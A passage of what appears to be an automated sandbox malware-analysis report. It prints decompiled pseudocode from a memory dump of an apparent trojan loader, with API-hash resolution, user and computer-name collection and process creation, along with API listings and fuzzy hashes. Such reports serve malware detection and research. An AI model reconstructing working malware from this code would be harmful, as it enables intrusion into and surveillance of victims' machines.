					_t54 = E03442049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x344d27c; // 0x262a5a8
						_t16 = _t75 + 0x344eb28; // 0x530025
						 *0x344d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E034470F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x344c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E03442049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E03449039(_v20);
						} else {
							_t66 =  *0x344d27c; // 0x262a5a8
							_t31 = _t66 + 0x344ec48; // 0x73006d
							 *0x344d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E03449039(_v12);
				}
				return _v24;
			}

0x03448174
0x0344817a
0x03448181
0x03448187
0x0344818b
0x0344818f
0x03448192
0x03448199
0x0344819c
0x0344819e
0x0344819e
0x034481a7
0x034481ae
0x034481b1
0x034481b7
0x034481c1
0x034481ca
0x034481d1
0x034481ea
0x034481f1
0x034481f4
0x034481fd
0x03448206
0x03448217
0x03448220
0x03448224
0x03448228
0x0344822f
0x03448232
0x03448234
0x03448234
0x0344823e
0x03448247
0x0344824e
0x03448266
0x0344826a
0x034482a7
0x0344826c
0x0344826f
0x03448277
0x03448288
0x03448294
0x0344829c
0x034482a0
0x034482a0
0x0344826a
0x034482af
0x034482b4
0x034482bb

APIs

GetTickCount.KERNEL32 ref: 03448181
lstrlen.KERNEL32(?,80000002,00000005), ref: 034481C1
lstrlen.KERNEL32(00000000), ref: 034481CA
lstrlen.KERNEL32(00000000), ref: 034481D1
lstrlenW.KERNEL32(80000002), ref: 034481DE
lstrlen.KERNEL32(?,00000004), ref: 0344823E
lstrlen.KERNEL32(?), ref: 03448247
lstrlen.KERNEL32(?), ref: 0344824E
lstrlenW.KERNEL32(?), ref: 03448255

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 42a343c421fb1b8c5353ba2290290e8171de675317c3eddaab357e970233d9c5
Instruction ID: b34e9838ef47583dbf80b1885ee935228409ddad880692544e8a26383649f93b
Opcode Fuzzy Hash: 42a343c421fb1b8c5353ba2290290e8171de675317c3eddaab357e970233d9c5
Instruction Fuzzy Hash: 6B412876900219EFEF11EFA5CC45A9EBBB5FF48304F054066ED04AB211DB369A11EB94

Uniqueness

Uniqueness Score: -1.00%

Function 0344205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0344205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0344692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0344A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x344d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x344d27c; // 0x262a5a8
					_t18 = _t47 + 0x344e3e6; // 0x73797325
					_t68 = E034495B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x344d27c; // 0x262a5a8
						_t19 = _t50 + 0x344e747; // 0x5a78cef
						_t20 = _t50 + 0x344e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E034484D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E034484D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x344d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E03449039(_t70);
				goto L12;
			}

0x03442066
0x03442066
0x03442075
0x0344207e
0x03442081
0x0344218e
0x03442195
0x03442195
0x03442090
0x03442098
0x0344209d
0x034420a0
0x034420b5
0x034420bb
0x034420bc
0x034420bf
0x034420c5
0x034420c8
0x034420cd
0x034420d5
0x034420e1
0x034420e5
0x03442175
0x034420eb
0x034420eb
0x034420f0
0x034420f7
0x0344210b
0x0344210f
0x0344215e
0x03442111
0x03442112
0x03442119
0x03442132
0x03442134
0x03442138
0x0344213f
0x03442159
0x03442141
0x0344214a
0x0344214f
0x0344214f
0x0344213f
0x0344216d
0x0344216d
0x034420e5
0x0344217c
0x03442185
0x03442189
0x00000000

APIs

Part of subcall function 0344692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0344207A,?,00000001,?,?,00000000,00000000), ref: 03446951
Part of subcall function 0344692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 03446973
Part of subcall function 0344692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 03446989
Part of subcall function 0344692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0344699F
Part of subcall function 0344692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 034469B5
Part of subcall function 0344692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 034469CB

memset.NTDLL ref: 034420C8

Part of subcall function 034495B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,034423E9,63699BCE,03441354,73797325), ref: 034495C2
Part of subcall function 034495B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 034495DC

GetModuleHandleA.KERNEL32(4E52454B,05A78CEF,73797325), ref: 034420FE
GetProcAddress.KERNEL32(00000000), ref: 03442105
HeapFree.KERNEL32(00000000,00000000), ref: 0344216D

Part of subcall function 034484D5: GetProcAddress.KERNEL32(36776F57,034421E5), ref: 034484F0

CloseHandle.KERNEL32(00000000,00000001), ref: 0344214A
CloseHandle.KERNEL32(?), ref: 0344214F
GetLastError.KERNEL32(00000001), ref: 03442153

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: a877467f02decb26710238a01dd92bc7d9accbebaa15d8f48deade2a340cd281
Instruction ID: d39a63d697fd898c59bb8ba01cb95da59d87e3c9581bfc25085138f82d8f1138
Opcode Fuzzy Hash: a877467f02decb26710238a01dd92bc7d9accbebaa15d8f48deade2a340cd281
Instruction Fuzzy Hash: C1311BB6800208BFEB10EFA5D884D9FBBFCEB48244F04447AF615AB211D7759D458B54

Uniqueness

Uniqueness Score: -1.00%

Function 03448307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E03448307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x344d27c; // 0x262a5a8
				_t1 = _t9 + 0x344e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E03449401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E03442049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E03447225(_t34, _t41, _a8);
						E03449039(_t41);
						_t42 = E03448E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E03449039(_t36);
							_t36 = _t42;
						}
						_t43 = E0344788B(_t36, _t33);
						if(_t43 != 0) {
							E03449039(_t36);
							_t36 = _t43;
						}
					}
					E03449039(_t28);
				}
				return _t36;
			}

0x03448307
0x0344830a
0x0344830b
0x03448313
0x0344831a
0x03448321
0x03448325
0x0344832b
0x03448332
0x03448337
0x03448349
0x0344834d
0x03448351
0x03448357
0x0344835c
0x0344836c
0x0344836e
0x03448385
0x03448389
0x0344838c
0x03448391
0x03448391
0x0344839a
0x0344839e
0x034483a1
0x034483a6
0x034483a6
0x0344839e
0x034483a9
0x034483a9
0x034483b4

APIs

Part of subcall function 03449401: lstrlen.KERNEL32(00000000,00000000,00000000,73FCC740,?,?,?,03448321,253D7325,00000000,00000000,73FCC740,?,?,0344A428,?), ref: 03449468
Part of subcall function 03449401: sprintf.NTDLL ref: 03449489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,0344A428,?,05A795B0), ref: 03448332
lstrlen.KERNEL32(?,?,?,0344A428,?,05A795B0), ref: 0344833A

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

strcpy.NTDLL ref: 03448351
lstrcat.KERNEL32(00000000,?), ref: 0344835C

Part of subcall function 03447225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,0344836B,00000000,?,?,?,0344A428,?,05A795B0), ref: 0344723C

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0344A428,?,05A795B0), ref: 03448379

Part of subcall function 03448E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,03448385,00000000,?,?,0344A428,?,05A795B0), ref: 03448E8C
Part of subcall function 03448E82: _snprintf.NTDLL ref: 03448EEA

Strings

=, xrefs: 03448373

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: b23bbd1b0e597401d54b3694360b9313f46f524916d416d938004ca60feb88c0
Instruction ID: e13a4440d99595957204ffc23b8c97170c05ad47c2eaefc41871931b41604f5d
Opcode Fuzzy Hash: b23bbd1b0e597401d54b3694360b9313f46f524916d416d938004ca60feb88c0
Instruction Fuzzy Hash: 6E11A77B901725BF6622FBB69C84C6F669D9F85550709003BF504EF201DF36CD0267A8

Uniqueness

Uniqueness Score: -1.00%

Function 03446CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 03446D1F
SysAllocString.OLEAUT32(0070006F), ref: 03446D33
SysAllocString.OLEAUT32(00000000), ref: 03446D45
SysFreeString.OLEAUT32(00000000), ref: 03446DA9
SysFreeString.OLEAUT32(00000000), ref: 03446DB8
SysFreeString.OLEAUT32(00000000), ref: 03446DC3

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: ffdea901453203ae23292f97e121ec603f348481e9588a5995bf391ec55e3534
Instruction ID: fc747828d17e99c5b3d2632c2aabd74caa3e1684289da1a7074d118829ba1ab8
Opcode Fuzzy Hash: ffdea901453203ae23292f97e121ec603f348481e9588a5995bf391ec55e3534
Instruction Fuzzy Hash: B0313D76D00609AFEB01EFA8C844A9FB7B6AF49210F194476E910FF210DB759906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0344692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0344692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E03442049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x344d27c; // 0x262a5a8
					_t1 = _t23 + 0x344e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x344d27c; // 0x262a5a8
					_t2 = _t26 + 0x344e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E03449039(_t54);
					} else {
						_t30 =  *0x344d27c; // 0x262a5a8
						_t5 = _t30 + 0x344e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x344d27c; // 0x262a5a8
							_t7 = _t33 + 0x344e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x344d27c; // 0x262a5a8
								_t9 = _t36 + 0x344e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x344d27c; // 0x262a5a8
									_t11 = _t39 + 0x344e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E0344727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0344693b
0x0344693f
0x03446a01
0x03446945
0x03446945
0x0344694a
0x0344695d
0x0344695f
0x03446964
0x0344696c
0x03446973
0x03446977
0x0344697a
0x034469f9
0x034469fa
0x0344697c
0x0344697c
0x03446981
0x03446989
0x0344698d
0x03446990
0x00000000
0x03446992
0x03446992
0x03446997
0x0344699f
0x034469a3
0x034469a6
0x00000000
0x034469a8
0x034469a8
0x034469ad
0x034469b5
0x034469b9
0x034469bc
0x00000000
0x034469be
0x034469be
0x034469c3
0x034469cb
0x034469cf
0x034469d2
0x00000000
0x034469d4
0x034469da
0x034469df
0x034469e6
0x034469ed
0x034469f0
0x00000000
0x034469f2
0x034469f5
0x034469f5
0x034469f0
0x034469d2
0x034469bc
0x034469a6
0x03446990
0x0344697a
0x03446a0f

APIs

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0344207A,?,00000001,?,?,00000000,00000000), ref: 03446951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 03446973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 03446989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0344699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 034469B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 034469CB

Part of subcall function 0344727B: memset.NTDLL ref: 034472FA

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: aa111fc6840e9778fbee92ecd3ad8ec0a24973039e6eca3906c8dd421a009653
Instruction ID: dd2949b6e1ef7081c70eb0c33a7f49a5bdabed9a5d4ce39970e61625740d423b
Opcode Fuzzy Hash: aa111fc6840e9778fbee92ecd3ad8ec0a24973039e6eca3906c8dd421a009653
Instruction Fuzzy Hash: 08214FF5601209EFEB60EFA9D844D57B7ECFB09244706453AE614DF302D774E9018B64

Uniqueness

Uniqueness Score: -1.00%

Function 03447649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03447649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E03442049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E03449039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x344a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x03447657
0x0344765a
0x0344765d
0x03447663
0x03447668
0x0344766e
0x03447676
0x03447679
0x0344767f
0x03447684
0x03447691
0x0344769e
0x034476a2
0x034476a4
0x034476a8
0x034476ab
0x034476bb
0x0344770d
0x0344770e
0x034476bd
0x034476c0
0x034476c7
0x034476ca
0x034476dd
0x00000000
0x034476df
0x034476e2
0x034476e7
0x034476f5
0x034476f8
0x03447700
0x03447703
0x00000000
0x03447705
0x03447705
0x03447708
0x03447708
0x03447703
0x034476dd
0x03447713
0x03447714
0x03447684
0x0344771a

APIs

GetUserNameW.ADVAPI32(00000000,0344A338), ref: 0344765D
GetComputerNameW.KERNEL32(00000000,0344A338), ref: 03447679

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

GetUserNameW.ADVAPI32(00000000,0344A338), ref: 034476B3
GetComputerNameW.KERNEL32(0344A338,?), ref: 034476D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,0344A338,00000000,0344A33A,00000000,00000000,?,?,0344A338), ref: 034476F8

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 5624df2ecde4829838fccbe5a5710b45b42764b924cd6da49b2d0bded3caac7e
Instruction ID: 12aeb8c70baeaf40275541c586406c9c0631366027dd41d82d9e4197af027955
Opcode Fuzzy Hash: 5624df2ecde4829838fccbe5a5710b45b42764b924cd6da49b2d0bded3caac7e
Instruction Fuzzy Hash: 2921E87A900208FFDB11DFE9D984CEEBBB8EE44244B5444BAE511EB201DB30AB45DB64

Uniqueness

Uniqueness Score: -1.00%

Function 03441585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E03441585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E03447F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0344A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x344d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x03441585
0x03441592
0x03441594
0x034415f7
0x00000000
0x034415f7
0x034415ac
0x034415b3
0x034415bf
0x034415c4
0x034415c6
0x034415c8
0x034415ca
0x034415cc
0x034415ce
0x034415da
0x034415ea
0x00000000
0x034415dc
0x034415dc
0x034415e3
0x034415f0
0x034415f0
0x034415f0
0x034415e3
0x034415da
0x034415f5
0x00000000
0x00000000
0x034415fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,034411DA,?,?,00000000,00000000), ref: 034415BF
ResetEvent.KERNEL32(?), ref: 034415C4
GetLastError.KERNEL32 ref: 034415DC
GetLastError.KERNEL32(?,?,00000102,034411DA,?,?,00000000,00000000), ref: 034415F7

Part of subcall function 03447F27: lstrlen.KERNEL32(00000000,00000008,?,76D24D40,?,?,034415A4,?,?,?,?,00000102,034411DA,?,?,00000000), ref: 03447F33
Part of subcall function 03447F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,034415A4,?,?,?,?,00000102,034411DA,?), ref: 03447F91
Part of subcall function 03447F27: lstrcpy.KERNEL32(00000000,00000000), ref: 03447FA1

SetEvent.KERNEL32(?), ref: 034415EA

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 1a6daabb666d98eb34b63e9d6698ec588bb148540d7ddec3c9ff328122280a06
Instruction ID: b73110e7d9680f00e74a83f9ee7b40de3836092cf545c2ac223151faf282db4a
Opcode Fuzzy Hash: 1a6daabb666d98eb34b63e9d6698ec588bb148540d7ddec3c9ff328122280a06
Instruction Fuzzy Hash: 7401A2311017016BF730AB61DC44B5BB7E8EF44360F184A36F552A92E0DB30D8859A18

Uniqueness

Uniqueness Score: -1.00%

Function 03448F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03448F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x344d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x344d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x344d258 = _t6;
					 *0x344d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x344d254 = _t7;
					if(_t7 == 0) {
						 *0x344d254 =  *0x344d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x03448f18
0x03448f20
0x03448f25
0x00000000
0x03448f7a
0x03448f27
0x03448f2f
0x03448f37
0x03448f37
0x03448f77
0x00000000
0x03448f77
0x03448f39
0x03448f39
0x03448f3e
0x03448f50
0x03448f55
0x03448f5b
0x03448f63
0x03448f68
0x03448f6a
0x03448f6a
0x00000000
0x03448f71
0x03448f33
0x00000000
0x00000000
0x03448f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,03446A90,?,?,00000001,?,?,?,0344807D,?), ref: 03448F18
GetVersion.KERNEL32(?,00000001,?,?,?,0344807D,?), ref: 03448F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,0344807D,?), ref: 03448F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,0344807D,?), ref: 03448F5B
GetLastError.KERNEL32(?,00000001,?,?,?,0344807D,?), ref: 03448F7A

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 24b635a702010573d09b33e112a976eb278a96aeabcc5a17ba33363eb4b78677
Instruction ID: e79cd21c740396a07321c0fcdbf409d6ac21b15d7c8aac1d023955217654ccbb
Opcode Fuzzy Hash: 24b635a702010573d09b33e112a976eb278a96aeabcc5a17ba33363eb4b78677
Instruction Fuzzy Hash: A1F06278A86301BBF720FFA4AD59B153BE2B745780F08453AE552EE2D9D7718442CF28

Uniqueness

Uniqueness Score: -1.00%

Function 034417D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E034417D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x344d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E0344809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E034488B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E03449039(_a8);
						goto L29;
					}
					_t65 =  *0x344d27c; // 0x262a5a8
					_t16 = _t65 + 0x344e8fe; // 0x65696c43
